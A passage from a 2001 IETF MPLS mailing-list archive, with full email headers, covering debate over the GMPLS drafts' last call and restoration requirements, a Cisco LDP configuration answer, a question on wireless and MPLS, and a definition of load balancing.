(http://www.ietf.org/internet-drafts/draft-ietf-mpls-generalized-signaling-0
> > 4.txt)
> > primarily discusses link protection, restoration capabilities are
largely
> > missing and need to be included.
> >
> > 2. Standards explicitly supported by GMPLS, such as G.707, G.709, etc.,
> > should be clearly identified in the text and referenced in the GMPLS
I-Ds,
> > e.g., in Section 3.1 of the Generalized Signaling I-D, add "G.707
> [Reference
> > G.707] is supported by the Generalized Label Request."
> >
> > As per Eve's comment at IETF-50, SPs are encouraged to post their
> > requirements to the list.  It would also help if more SPs were invited
to
> > co-author the GMPLS drafts, to help ensure that SP requirements are more
> > adequately reflected and addressed.
> >
> > Jerry Ash
> > AT&T Labs
> >
> > -----Original Message-----
> > From: George Swallow [mailto:swallow@cisco.com]
> > Sent: Monday, May 14, 2001 1:52 PM
> > To: ccamp@ops.ietf.org; mpls@uu.net
> > Subject: GMPLS Last Calls
> >
> > This message initiates a last call on four GMPLS drafts.  The last
> > call is being issued jointly in the MPLS and CCAMP workgroups.
> >
> > The drafts are:
> >
> >     1.  Generalized MPLS - Signaling Functional Description
> >
> >            <draft-ietf-mpls-generalized-signaling-04.txt>
> >
> >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> >
> >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> >
> >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> >
> >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> >
> >     4.  GMPLS Extensions for SONET and SDH Control
> >
> >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> >
> > The last call closes May 29, 12 pm GMT.
> >
> > -  V2KG (Vijay, Vijay, Kireeti, & George)
> >
> > ======================================================================
> > George Swallow       Cisco Systems                   (978) 244-8143
> >                      250 Apollo Drive
> >                      Chelmsford, Ma 01824



From owner-mpls@UU.NET  Tue May 29 08:40:56 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA00247
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 08:40:56 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrck27293;
	Tue, 29 May 2001 12:38:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcj29704
	for mpls-outgoing; Tue, 29 May 2001 12:28:07 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrcj29504
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 12:26:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrcj01517
	for <mpls@uu.net>; Tue, 29 May 2001 12:25:53 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkrcj26910
	for <mpls@uu.net>; Tue, 29 May 2001 12:25:53 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4TCPqU15492
	for <mpls@uu.net>; Tue, 29 May 2001 05:25:52 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id IAA02871 for mpls@uu.net; Tue, 29 May 2001 08:25:49 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrcg06034
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 11:44:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrcg27802
	for <mpls@uu.net>; Tue, 29 May 2001 11:44:01 GMT
Received: from exchange01.movaz.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.47.82.134])
	id QQkrcg17219
	for <mpls@uu.net>; Tue, 29 May 2001 11:44:01 GMT
Received: from nfloat.movaz.com ([64.47.82.152]) by exchange01.movaz.com with Microsoft SMTPSVC(5.0.2195.1600);
	 Tue, 29 May 2001 07:38:55 -0400
Message-Id: <4.3.2.7.2.20010529072855.02da88e0@mail.labn.net>
X-Sender: lb@mo-ex1
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Tue, 29 May 2001 07:40:35 -0400
To: Bala Rajagopalan <BRaja@tellium.com>
From: Lou Berger <lberger@movaz.com>
Subject: RE: GMPLS Last Calls
Cc: "'Tarapore, Percy S'" <tarapore@att.com>,
        Bala Rajagopalan <BRaja@tellium.com>,
        "'C. R. Kalmanek'" <crk@research.att.com>,
        John Drake <jdrake@calient.net>, ccamp@ops.ietf.org, mpls@UU.NET
In-Reply-To: <0CD7D73C734BD411AEE100B0D022040401982251@mail1.tellium.com
 >
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-OriginalArrivalTime: 29 May 2001 11:38:55.0518 (UTC) FILETIME=[F144FBE0:01C0E833]
Sender: owner-mpls@UU.NET
Precedence: bulk

Sounds reasonable to me...

Lou

At 05:22 PM 5/25/01, Bala Rajagopalan wrote:

>This would be fine with me. John? Lou?
>
>regards,
>
>
>Bala Rajagopalan
>Tellium, Inc.
>2 Crescent Place
>P.O. Box 901
>Oceanport, NJ 07757-0901
>Tel: (732) 923-4237
>Fax: (732) 923-9804
>Email: braja@tellium.com
>
> > -----Original Message-----
> > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > Sent: Friday, May 25, 2001 4:34 PM
> > To: 'Bala Rajagopalan'; 'C. R. Kalmanek'; John Drake
> > Cc: ccamp@ops.ietf.org; mpls@UU.NET
> > Subject: RE: GMPLS Last Calls
> >
> >
> > Bala,
> >
> > Are you suggesting that restoration signaling requirements be
> > formulated in
> > a separate GMPLS draft at a later date? If so, the current
> > draft should add
> > text regarding the current scope (link protection only) as
> > well as future
> > work (restoration) in Section 7.
> >
> > Percy
> >
> > -----Original Message-----
> > From: Bala Rajagopalan [mailto:BRaja@tellium.com]
> > Sent: Friday, May 25, 2001 1:57 PM
> > To: 'C. R. Kalmanek'; John Drake
> > Cc: ccamp@ops.ietf.org; mpls@UU.NET
> > Subject: RE: GMPLS Last Calls
> >
> >
> >
> > Chuck:
> >
> > I believe that the restoration issue can be
> > dealt with indepedent of the current drafts
> > on last call. Do you see any obstacles to
> > adding new objects/semantics (if any) to support
> > restoration requirements as they arise?
> >
> > BTW, there are some drafts floating around
> > on shared mesh.
> >
> > regards,
> >
> > Bala Rajagopalan
> > Tellium, Inc.
> > 2 Crescent Place
> > P.O. Box 901
> > Oceanport, NJ 07757-0901
> > Tel: (732) 923-4237
> > Fax: (732) 923-9804
> > Email: braja@tellium.com
> >
> > > -----Original Message-----
> > > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > > Sent: Friday, May 25, 2001 1:08 PM
> > > To: John Drake
> > > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); ccamp@ops.ietf.org;
> > > mpls@UU.NET
> > > Subject: Re: GMPLS Last Calls
> > >
> > >
> > > I fully agree: there are a whole spectrum of options that we
> > > need to sort through, and clear requirements are needed to
> > > guide that process.  Our concern is with the last call.  It
> > > doesn't make sense to progress drafts to RFC that are likely
> > > in hindsight to be viewed as having serious deficiencies in
> > > meeting restoration requirements.
> > >
> > > chuck
> > >
> > > John Drake wrote:
> > > >
> > > > The point is that in GMPLS, as in regular MPLS, restoration
> > > consists of
> > > > rerouting from the endpoints upon
> > > > notification of failure.  There are a whole spectrum of
> > > path and span
> > > > protection possibilites beyond this
> > > > that people (including us) have proposed, but in the
> > absence of firm
> > > > requirements, it's hard to know which
> > > > to pursue.  I'm not sure 'shared mesh restoration'
> > > completely covers it.
> > > >
> > > > Thanks,
> > > >
> > > > John
> > > >
> > > > -----Original Message-----
> > > > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > > > Sent: Friday, May 25, 2001 9:54 AM
> > > > To: John Drake
> > > > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry);
> > ccamp@ops.ietf.org;
> > > > mpls@uu.net
> > > > Subject: Re: GMPLS Last Calls
> > > >
> > > > John,
> > > >
> > > > While there currently are no restoration requirements from the
> > > > TE (or other) group, what Percy is saying is that shared mesh
> > > > restoration WILL be a requirement from those groups.  Since the
> > > > current GMPLS drafts don't meet this requirement, they are
> > > > unlikely to meet key SP needs.
> > > >
> > > > I don't understand a process that starts the requirements
> > > > development after last call for the signaling specifications.
> > > >
> > > > chuck
> > > >
> > > > John Drake wrote:
> > > > >
> > > > > Percy,
> > > > >
> > > > > There has been work on protocols for path restoration in
> > > mesh networks by
> > > > a
> > > > > number of
> > > > > people.  However, at the last IETF Kireeti and Vijay
> > > clearly indicated
> > > > that
> > > > > this work,
> > > > > while interesting, wouldn't be allowed to progress in
> > advance of a
> > > > > restoration requirements
> > > > > draft from the TE group.
> > > > >
> > > > > Thanks,
> > > > >
> > > > > John
> > > > >
> > > > > -----Original Message-----
> > > > > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > > > > Sent: Thursday, May 24, 2001 11:55 AM
> > > > > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > > > > Subject: RE: GMPLS Last Calls
> > > > >
> > > > > There is a significant issue related to the absence of
> > > restoration in the
> > > > > signaling draft
> > > > >
> > > >
> > > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > > ed-signaling-0
> > > > > 4.txt). Very specifically, Section 7 of this draft deals
> > > with the case
> > > > > involving protection information for link protection. While link
> > > > protection
> > > > > schemes may be desirable for fast recovery related to
> > > high priority LSP's,
> > > > > more cost-effective shared mesh restoration schemes would
> > > be preferred for
> > > > > the majority of traffic from a Service Provider's
> > > perspective. This
> > > > > observation is supported by the fact that many vendors
> > > are currently
> > > > > developing proprietary schemes for shared mesh
> > > restoration. Hence, in
> > > > > addition to the protection information, GMPLS signaling
> > > needs to reflect a
> > > > > minimum set of information/attributes required for shared
> > > mesh restoration
> > > > > without jeopardizing vendor proprietary solutions.
> > > > >
> > > > > The need for multiple types of restoration capabilities
> > > is well documented
> > > > > in the OIF/UNI I-D
> > > > >
> > > >
> > > http://search.ietf.org/internet-drafts/draft-many-carrier-fram
> > > ework-uni-00.t
> > > > > xt as follows:
> > > > >
> > > > > " Multiple types of facilities available for restoration
> > > are needed
> > > > >    within the network. The following options should be
> > > considered for
> > > > >    allocation of facilities to support restoration of failed
> > > > >    connections:
> > > > >    - Dedicated restoration capacity
> > > > >    - Shared restoration capacity. This allows the network
> > > to ensure
> > > > >      high quality service for customers, while still
> > managing its
> > > > >      physical resources efficiently.
> > > > >    - Un-restorable
> > > > >    - Pre-emptable"
> > > > >
> > > > > The OIF/UNI I-D supports a range of different restoration
> > > schemes through
> > > > > the use of service level as a connection attribute. This
> > > attribute is
> > > > > defined as follows:
> > > > >
> > > > > " an integer attribute that indicates a class of service.
> > > A carrier may
> > > > > specify a range of different classes of service (e.g.
> > > gold, silver,
> > > > bronze)
> > > > > with predefined characteristics (e.g. restoration plans).
> > > The pre-defined
> > > > > service types correspond to different types of network
> > > restoration (e.g.
> > > > no
> > > > > restoration, 1+1 protection), connection set-up and hold
> > > priorities,
> > > > > reversion strategies for the connection after failures
> > > have been repaired,
> > > > > and retention strategies."
> > > > >
> > > > > It is therefore important that GMPLS be extended to be
> > > able to support
> > > > such
> > > > > restoration schemes.
> > > > >
> > > > > Percy S. Tarapore
> > > > > AT&T Labs
> > > > >
> > > > > -----Original Message-----
> > > > > From: Ash, Gerald R (Jerry)
> > > > > Sent: Thursday, May 24, 2001 2:20 PM
> > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > Cc: Ash, Gerald R (Jerry)
> > > > > Subject: RE: GMPLS Last Calls
> > > > >
> > > > > Quoting from the CCAMP/IETF-50 meeting minutes re the
> > > GMPLS Architecture
> > > > > draft:
> > > > >
> > > > > "Eve - Had hoped that CCAMP formation and expression of
> > > requirements would
> > > > > enable us to do more with architecture than reverse
> > > architect proposed
> > > > > solution. Think we should also look at carrier
> > > requirements and look for
> > > > > discrepancies with architecture.
> > > > > Curtis - requirements of carriers not being addressed?
> > > > > Eve - happy to discuss on mailing list in absence of time"
> > > > >
> > > > > There are still no documented service provider (SP)
> > > requirements driving
> > > > the
> > > > > proposed GMPLS protocol extensions.  This is inconsistent
> > > with the current
> > > > > initiatives to provide SP requirements prior to protocol
> > > extensions being
> > > > > accepted, such as for protection/restoration, network
> > > hierarchy, MPLS OAM,
> > > > > MPLS/DiffServ TE, multi-area TE, etc.
> > > > >
> > > > > Here is a sample of SP requirements that are not being
> > > addressed (other
> > > > > requirements from our perspective are forthcoming):
> > > > >
> > > > > 1. Restoration requirements, particularly in support of
> > > mesh restoration,
> > > > > need to be supported by GMPLS.  For example, Section 7 of
> > > the Generalized
> > > > > Signaling I-D
> > > > >
> > > >
> > > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > > ed-signaling-0
> > > > > 4.txt)
> > > > > primarily discusses link protection, restoration
> > > capabilities are largely
> > > > > missing and need to be included.
> > > > >
> > > > > 2. Standards explicitly supported by GMPLS, such as
> > > G.707, G.709, etc.,
> > > > > should be clearly identified in the text and referenced
> > > in the GMPLS I-Ds,
> > > > > e.g., in Section 3.1 of the Generalized Signaling I-D,
> > add "G.707
> > > > [Reference
> > > > > G.707] is supported by the Generalized Label Request."
> > > > >
> > > > > As per Eve's comment at IETF-50, SPs are encouraged to
> > post their
> > > > > requirements to the list.  It would also help if more SPs
> > > were invited to
> > > > > co-author the GMPLS drafts, to help ensure that SP
> > > requirements are more
> > > > > adequately reflected and addressed.
> > > > >
> > > > > Jerry Ash
> > > > > AT&T Labs
> > > > >
> > > > > -----Original Message-----
> > > > > From: George Swallow [mailto:swallow@cisco.com]
> > > > > Sent: Monday, May 14, 2001 1:52 PM
> > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > Subject: GMPLS Last Calls
> > > > >
> > > > > This message initiates a last call on four GMPLS
> > drafts.  The last
> > > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > > >
> > > > > The drafts are:
> > > > >
> > > > >     1.  Generalized MPLS - Signaling Functional Description
> > > > >
> > > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > > >
> > > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > > >
> > > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > > >
> > > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > > >
> > > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > > >
> > > > > The last call closes May 29, 12 pm GMT.
> > > > >
> > > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > > >
> > > > >
> > >
> > ======================================================================
> > > > > George Swallow       Cisco Systems
> > > (978) 244-8143
> > > > >                      250 Apollo Drive
> > > > >                      Chelmsford, Ma 01824
> > >
> >



From owner-mpls@UU.NET  Tue May 29 10:47:07 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA02735
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 10:47:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrct05098;
	Tue, 29 May 2001 14:47:23 GMT
Received: by mail-control.mail.uu.net 
	id QQkrct25569
	for mpls-outgoing; Tue, 29 May 2001 14:46:48 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrct25551
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 14:46:38 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrct05427
	for <mpls@UU.NET>; Tue, 29 May 2001 14:46:26 GMT
Received: from mail.marhold.at by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.marhold.at [194.152.126.85])
	id QQkrct00518
	for <mpls@UU.NET>; Tue, 29 May 2001 14:46:26 GMT
Received: from AMARHOLD ([192.168.1.33]) by mail.marhold.at
          (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35)
          with SMTP id at; Tue, 29 May 2001 16:56:44 +0200
From: "Alexander Marhold" <alexander@marhold.at>
To: "Rohit Toshniwal" <toshniwal_rohit@usa.net>, <mpls@UU.NET>
Subject: RE: Cisco support for MPLS for ldp (RFC 3036)
Date: Tue, 29 May 2001 16:47:02 +0200
Message-ID: <AFEPKBDEDEAGNIBJKNPJKEPFCJAA.alexander@marhold.at>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <20010526015129.29431.qmail@nwcst323.netaddress.usa.net>
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

You need 2 commands on the interface

1st is MPLS IP or TAG-SWITCHING IP
2nd one is MPLS LABEL-PROTOCOL [TDP|LDP|BOTH]

the second one chooses the protocol (default is still TDP)

regards

Alexander Marhold
PROIN

-----Original Message-----
From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Rohit
Toshniwal
Sent: Saturday, May 26, 2001 3:51 AM
To: mpls@UU.NET
Cc: toshniwal_rohit@usa.net
Subject: Cisco support for MPLS for ldp (RFC 3036)


Hello,
I am trying to run LDP against Cisco implementation on GSR using the image
12.0(16)ST.
It appears to me that Cisco runs ldp (or tdp) discovery on port 711 and not
port 646 as mentioned in the standard (RFC 3036).
Can someone please comment on it and if want to test ldp against a Cisco box
on GSR, what image should I use.
Thanks a lot,
Rohit

____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1



From owner-mpls@UU.NET  Tue May 29 10:48:35 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA02757
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 10:48:34 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrct04248;
	Tue, 29 May 2001 14:48:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkrct25595
	for mpls-outgoing; Tue, 29 May 2001 14:47:03 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrct25571
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 14:46:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrct22457
	for <mpls@uu.net>; Tue, 29 May 2001 14:45:20 GMT
Received: from bgslc02.TBG.COM by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.99.125.2])
	id QQkrct02592
	for <mpls@uu.net>; Tue, 29 May 2001 14:45:19 GMT
Received: by BGSLC02 with Internet Mail Service (5.5.2650.21)
	id <LSC98WTY>; Tue, 29 May 2001 08:29:10 -0600
Message-ID: <0C875DC28791D21192CD00104B95BFE70146DC57@BGSLC02>
From: Irwin Lazar <ILazar@tbg.com>
To: "'Gao Deyun'" <dygao_mpls@eyou.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: integration of wireless network and MPLS
Date: Tue, 29 May 2001 08:29:10 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Both the "articles & papers" & "internet drafts & RFCs" pages of
www.mplsrc.com have links to information on the subject of wireless and
MPLS.

irwin

-----Original Message-----
From: Gao Deyun [mailto:dygao_mpls@eyou.com]
Sent: Monday, May 28, 2001 10:00 PM
To: mpls@UU.NET
Subject: integration of wireless network and MPLS


Hi,

  Someone know about some information about integration of wireless and MPLS
like wireless ATM? 
  Thank you in advance!

Deyun Gao


From owner-mpls@UU.NET  Tue May 29 11:03:11 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA03091
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 11:03:10 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrcu23566;
	Tue, 29 May 2001 15:03:29 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcu01736
	for mpls-outgoing; Tue, 29 May 2001 15:02:56 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrcu01683
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 15:02:47 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrcu13898
	for <mpls@UU.NET>; Tue, 29 May 2001 15:02:25 GMT
Received: from mail-blue.research.att.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkrcu22626
	for <mpls@UU.NET>; Tue, 29 May 2001 15:02:24 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 89AFF4D98C; Tue, 29 May 2001 11:02:24 -0400 (EDT)
Received: from research.att.com (pc-summer-gli.research.att.com [135.207.26.95])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id LAA12164;
	Tue, 29 May 2001 11:02:24 -0400 (EDT)
Message-ID: <3B13BAF6.933F1708@research.att.com>
Date: Tue, 29 May 2001 11:06:30 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Mannie, Eric" <Eric.Mannie@ebone.com>
Cc: "'Ash, Gerald R (Jerry)'" <gash@att.com>,
        "'v.sharma@ieee.org'" <v.sharma@ieee.org>, ccamp@ops.ietf.org,
        mpls@UU.NET, "'Thomas D. Nadeau'" <tnadeau@cisco.com>,
        Yakov Rekhter <yakov@juniper.net>
Subject: Re: GMPLS Last Calls
References: <D52BF6463BA3D311BFA700508B63C5AA04214652@brumsgpnt01.gtsgroup.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Eric:

Are you speaking for yourself, GMPLS co-authors, or network working group ?

I think SPs give comments to GMPLS because they are interested in it. No body
blames anything. Everyone wants to help it working.

Thanks for your contribution.

-- Guangzhi

"Mannie, Eric" wrote:

> Hello Jerry
>
> >correct, as I mentioned, SPs have been formally asked for their
> >*requirements*, but not on the GMPLS extensions
>
> Sorry ! It is an OPEN process since the beginning, everybody can contribute
> and write a draft. There is no formal process where requirements from
> operators are asked for. I am not aware of any IETF rule about that !
>
> You were welcome to work with us since 1.5 years but you never came to us.
> You cannot blame us that you never worked on it (we are not responsible for
> that)! This is true for the thousands of internet drafts being written at
> the IETF.
>
> It is the responsibility of each company individually to decide if they want
> to contribute or not ! It is not the job of others companies to go to each
> possible operator/manufacturer and to lobby to have them involved.
>
> Regards,
>
> Eric



From owner-mpls@UU.NET  Tue May 29 12:24:18 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05367
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 12:24:18 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrcz07159;
	Tue, 29 May 2001 16:24:36 GMT
Received: by mail-control.mail.uu.net 
	id QQkrcz17425
	for mpls-outgoing; Tue, 29 May 2001 16:24:03 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrcz17402
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 16:23:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrcz15478
	for <mpls@UU.NET>; Tue, 29 May 2001 16:20:43 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQkrcz04525
	for <mpls@UU.NET>; Tue, 29 May 2001 16:20:42 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id JAA17664;
	Tue, 29 May 2001 09:20:07 -0700 (PDT)
Message-ID: <3B13CC37.C2A59A@pluris.com>
Date: Tue, 29 May 2001 09:20:07 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Chrysostomos Tziouvaras <tziou@ics.forth.gr>
CC: mpls@UU.NET, ip-optical@lists.bell-labs.com
Subject: Re: Load balancing
References: <Pine.GSO.4.10.10105271811370.13836-100000@sappho.ics.forth.gr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

 Using reasonable definitions, load balancing translates into profits for
providers. Mind you, I have yet to see a very satisfactory definition of load
balancing, perhaps because it is intuitively obvious.

  I define load balancing as follows:

   The act of allocating resources of a distributed system, or distributing
the demands on those resources,  to minimize the largest utilization for any
given subset of the distributed system. (compare to Entropy, and Minimax)

 Providers make their money by selling bandwidth. Load balancing offers an
ability to increase available bandwidth with no equipment cost.

Chrysostomos Tziouvaras wrote:

> Dear all,
> Going through the sites of some manufacturers I noticed that most of them
> advertise that their products guarantee a balanced network. But I
> donnot understand why a provider(buyer) should be interested to keep its
> network balanced. I think that his goal is to maximize his profit.
> So what's the importance of load balancing in networks from the
> provider's perspective?
>
> Regards
> Chrysostomos



From owner-mpls@UU.NET  Tue May 29 13:31:07 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA07349
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 13:31:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrde20619;
	Tue, 29 May 2001 17:31:23 GMT
Received: by mail-control.mail.uu.net 
	id QQkrde14477
	for mpls-outgoing; Tue, 29 May 2001 17:30:49 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrde14452
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 17:30:35 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrde14352
	for <mpls@uu.net>; Tue, 29 May 2001 17:30:24 GMT
Received: from hoemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: hoemail2.lucent.com [192.11.226.163])
	id QQkrde18446
	for <mpls@uu.net>; Tue, 29 May 2001 17:30:23 GMT
Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4THUNq29257
	for <mpls@uu.net>; Tue, 29 May 2001 13:30:23 -0400 (EDT)
Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com [199.118.135.2])
	by hoemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with SMTP id f4THUML29238;
	Tue, 29 May 2001 13:30:22 -0400 (EDT)
Received: from hotair.hobl.lucent.com by hotair.hobl.lucent.com (SMI-8.6/EMS-1.5 sol2)
	id NAA02608; Tue, 29 May 2001 13:30:21 -0400
Message-ID: <3B13DFA9.BBD8E678@hotair.hobl.lucent.com>
Date: Tue, 29 May 2001 13:43:05 -0400
